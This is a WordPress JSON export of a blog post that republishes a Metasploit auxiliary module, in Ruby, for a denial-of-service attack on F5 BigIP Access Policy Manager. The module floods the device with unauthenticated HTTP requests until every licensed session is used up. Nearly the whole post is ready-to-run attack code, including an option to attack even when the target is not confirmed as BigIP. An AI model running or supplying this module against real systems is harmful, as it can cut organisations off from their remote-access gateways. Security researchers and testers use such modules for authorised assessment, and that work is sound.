{"id":59275,"date":"2024-08-31T21:19:50","date_gmt":"2024-08-31T18:19:50","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180520\/f5_bigip_apm_max_sessions.rb.txt"},"modified":"2024-08-31T21:19:50","modified_gmt":"2024-08-31T18:19:50","slug":"f5-bigip-access-policy-manager-session-exhaustion-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/f5-bigip-access-policy-manager-session-exhaustion-denial-of-service\/","title":{"rendered":"F5 BigIP Access Policy Manager Session Exhaustion Denial of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;F5 BigIP Access Policy Manager Session Exhaustion Denial of Service&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a resource exhaustion denial of service in F5 BigIP devices. An<br \/>unauthenticated attacker can establish multiple connections with BigIP Access Policy<br \/>Manager (APM) and exhaust all available sessions defined in customer license. In the<br \/>first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP<br \/>system creates a session, marks it as pending and then redirects the client to an access<br \/>policy URI. Since BigIP allocates a new session after the first unauthenticated request,<br \/>and deletes the session only if an access policy timeout expires, the attacker can exhaust<br \/>all available sessions by repeatedly sending the initial HTTP request and leaving the<br \/>sessions as pending.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Denis Kolegov &lt;dnkolegov[at]gmail.com&gt;&#8217;,<br \/>&#8216;Oleg Broslavsky &lt;ovbroslavsky[at]gmail.com&gt;&#8217;,<br \/>&#8216;Nikita Oleksov &lt;neoleksov[at]gmail.com&gt;&#8217;<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/support.f5.com\/kb\/en-us\/products\/big-ip_apm\/releasenotes\/product\/relnote-apm-11-6-0.html&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DefaultOptions&#8217; =&gt;<br \/>{<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>}<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptInt.new(&#8216;RLIMIT&#8217;, [true, &#8216;The number of requests to send&#8217;, 10000]),<br \/>OptBool.new(&#8216;FORCE&#8217;, [true, &#8216;Proceed with attack even if a BigIP virtual server isn\\&#8217;t detected&#8217;, false])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>limit = datastore[&#8216;RLIMIT&#8217;]force_attack = datastore[&#8216;FORCE&#8217;]\n<p>res = send_request_cgi(&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; &#8216;\/&#8217;)<\/p>\n<p>unless res<br \/>print_error(&#8220;No answer from the BigIP server&#8221;)<br \/>return<br \/>end<\/p>\n<p># Simple test based on HTTP Server header to detect BigIP virtual server<br \/>server = res.headers[&#8216;Server&#8217;]unless server =~ \/BIG\\-IP\/ || server =~ \/BigIP\/ || force_attack<br \/>print_error(&#8220;BigIP virtual server was not detected. Please check options&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;Starting DoS attack&#8221;)<\/p>\n<p># Start attack<br \/>limit.times do |step|<br \/>if step % 100 == 0<br \/>print_status(&#8220;#{step * 100 \/ limit}% accomplished&#8230;&#8221;)<br \/>end<br \/>res = send_request_cgi(&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; &#8216;\/&#8217;)<br \/>if res &amp;&amp; res.headers[&#8216;Location&#8217;] =~ \/\\\/my\\.logout\\.php3\\?errorcode=14\/<br \/>print_good(&#8220;DoS accomplished: The maximum number of concurrent user sessions has been reached.&#8221;)<br \/>return<br \/>end<br \/>end<\/p>\n<p># Check if attack has failed<br \/>res = send_request_cgi(&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; uri)<br \/>if res.headers[&#8216;Location&#8217;] =~ \/\\\/my.policy\/<br \/>print_error(&#8220;DoS attack failed. Try to increase the RLIMIT&#8221;)<br \/>else<br \/>print_status(&#8220;Result is undefined. Try to manually determine DoS attack result&#8221;)<br \/>end<\/p>\n<p>rescue ::Errno::ECONNRESET<br \/>print_error(&#8220;The connection was reset. Maybe BigIP &#8216;Max In Progress Sessions Per Client IP&#8217; counter was reached&#8221;)<br \/>rescue ::Rex::ConnectionRefused<br \/>print_error(&#8220;Unable to connect to BigIP&#8221;)<br \/>rescue ::Rex::ConnectionTimeout<br \/>print_error(&#8220;Unable to connect to BigIP. Please check options&#8221;)<br \/>rescue ::OpenSSL::SSL::SSLError<br \/>print_error(&#8220;SSL\/TLS connection error&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;F5 BigIP Access Policy Manager Session Exhaustion Denial of Service&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a resource exhaustion denial of service in F5 BigIP devices. Anunauthenticated attacker can establish multiple connections with BigIP Access PolicyManager (APM) &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59275","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59275"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59275\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}